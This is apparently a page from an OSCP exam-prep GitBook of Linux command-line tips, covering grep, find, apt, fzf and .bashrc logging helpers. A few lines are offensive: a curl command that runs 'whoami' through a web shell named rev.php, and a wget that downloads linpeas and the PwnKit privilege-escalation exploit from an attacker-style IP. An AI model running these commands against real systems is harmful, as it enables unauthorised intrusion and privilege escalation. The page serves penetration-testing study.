> For the complete documentation index, see [llms.txt](https://dhaneshsivasamy07.gitbook.io/oscp-2022/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dhaneshsivasamy07.gitbook.io/oscp-2022/misc/linux.md). # Linux ### Download Linux Image * The mirror link : is faster than the official download url ### Interactive SSH Prompt {% code overflow="wrap" %} ``` ~C # brings ssh> which can be used for port forwarding ( Only after obtaining a shell) ``` {% endcode %} ### URL Encode via curl * URL Encode the values requested via curl {% code overflow="wrap" %} ```bash curl -G http://url/rev.php --data-urlencode "cmd=/bin/bash -c 'whoami'" ``` {% endcode %} ### Wget * Wget multiple files with `bash expansions` ```bash wget http://10.10.14.29/{linpeas.sh,PwnKit} ``` ### Chmod * Chmod multiple files ```bash # files need to be chmod +x linpeas.sh and PwnKit chmod +x [lP]* ``` ### Grep * Avoid multiple patterns in a file ```bash egrep -v '(str1|str2)' ``` * Grep Multiple Contents ```bash grep -EInRi --color=always '(str1 | str2)' ``` * Keep the grep highlighted color when piping the output ```bash grep --color=always dnoscp whoami.txt | more ``` ### Find * Exclude specific directories from the find command ```bash find / -writable ! -path '/proc/*' 2>/dev/null ``` * Find files with multiple extensions ```bash find . -type f \( -name "*.txt" -o -name "*.xml" \) ``` ### fzf * Install fzf ```bash sudo apt install fzf ``` * Make fzf to interpret the colors ```bash grep --color=always dnoscp whoami.txt | fzf --ansi ``` ### Files * Know the files location of the services without installing the application {% code overflow="wrap" %} ```bash sudo apt install apt-file apt-file search tomcat # brings all the files related to tomcat (or) the files that contains the string tomcat in its file name ``` {% endcode %} ![tomcat-users.xml default location](/files/x2SxnpBMptt9c6R5qwZc) ### apt * Change the default repository for higher speed ```bash # File: /etc/apt/sources.list # From: deb http://http.kali.org/kali kali-rolling main contrib non-free # To: deb http://kali.download/kali kali-rolling main contrib non-free ┌──(dnoscp㉿friday)-[~] └─$ cat /etc/apt/sources.list # See https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/ # deb http://http.kali.org/kali kali-rolling main contrib non-free deb http://kali.download/kali kali-rolling main contrib non-free # Additional line for source packages # deb-src http://http.kali.org/kali kali-rolling main contrib non-free ``` * Know the version of the application installed from apt with `apt-cache policy ` {% code overflow="wrap" %} ```bash ➜ dhanesh's-device apt-cache policy sudo sudo: Installed: 1.8.31-1ubuntu1.2 Candidate: 1.8.31-1ubuntu1.2 Version table: *** 1.8.31-1ubuntu1.2 500 500 http://in.archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages 500 http://security.ubuntu.com/ubuntu focal-security/main amd64 Packages 100 /var/lib/dpkg/status 1.8.31-1ubuntu1 500 500 http://in.archive.ubuntu.com/ubuntu focal/main amd64 Packages 500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages ``` {% endcode %} * Add **Kali Linux**releases in ubuntu ( :warning: Might be slow when installing stuff and also unaware the stability) {% code overflow="wrap" %} ```bash # sign the kali release wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add # add the repo echo "deb http://kali.download/kali kali-rolling main contrib non-free" | sudo tee -a /etc/apt/sources.list sudo apt update ``` {% endcode %} ### Log things you have installed * Add the following function in the .bashrc file ```bash install(){ echo "sudo apt install -y $@" | tee -a ~/commands.txt && cat ~/commands.txt | tail -1 | bash } # OR install(){ # installation part TOOL=$@ INSTALL="sudo apt install -y $TOOL" echo $INSTALL | bash ISTATUS=$? # logging part if [ $ISTATUS == "0" ]; then echo "sudo apt install -y $TOOL" >> ~/commands/install.txt else echo "[-] Installation Error: $TOOL" >> ~/commands/failed.txt fi } ``` * Source the file and install new contents with `install ` (install xclip) * All the installed commands will be available in the \~/install.txt ### Log only commands that executed successfully * Add the following in the .bashrc file ```bash a(){ cmd=$@ echo $cmd | bash 2>/dev/null exit=$? if [ $exit == "0" ]; then echo "$cmd" >> ~/successcommands.txt else echo "[+] No command found: $cmd" fi } ``` * Execute commands with `a ` (a whoami) * Only the commands with the successful status code will be logged in the \~/successcommands.txt file ### Date * Date format with full date and time: `date +%F:%T` (Mostly used with `somecommand | tee $(date +%F:%T).log`) --- # Agent Instructions This documentation is published with GitBook. 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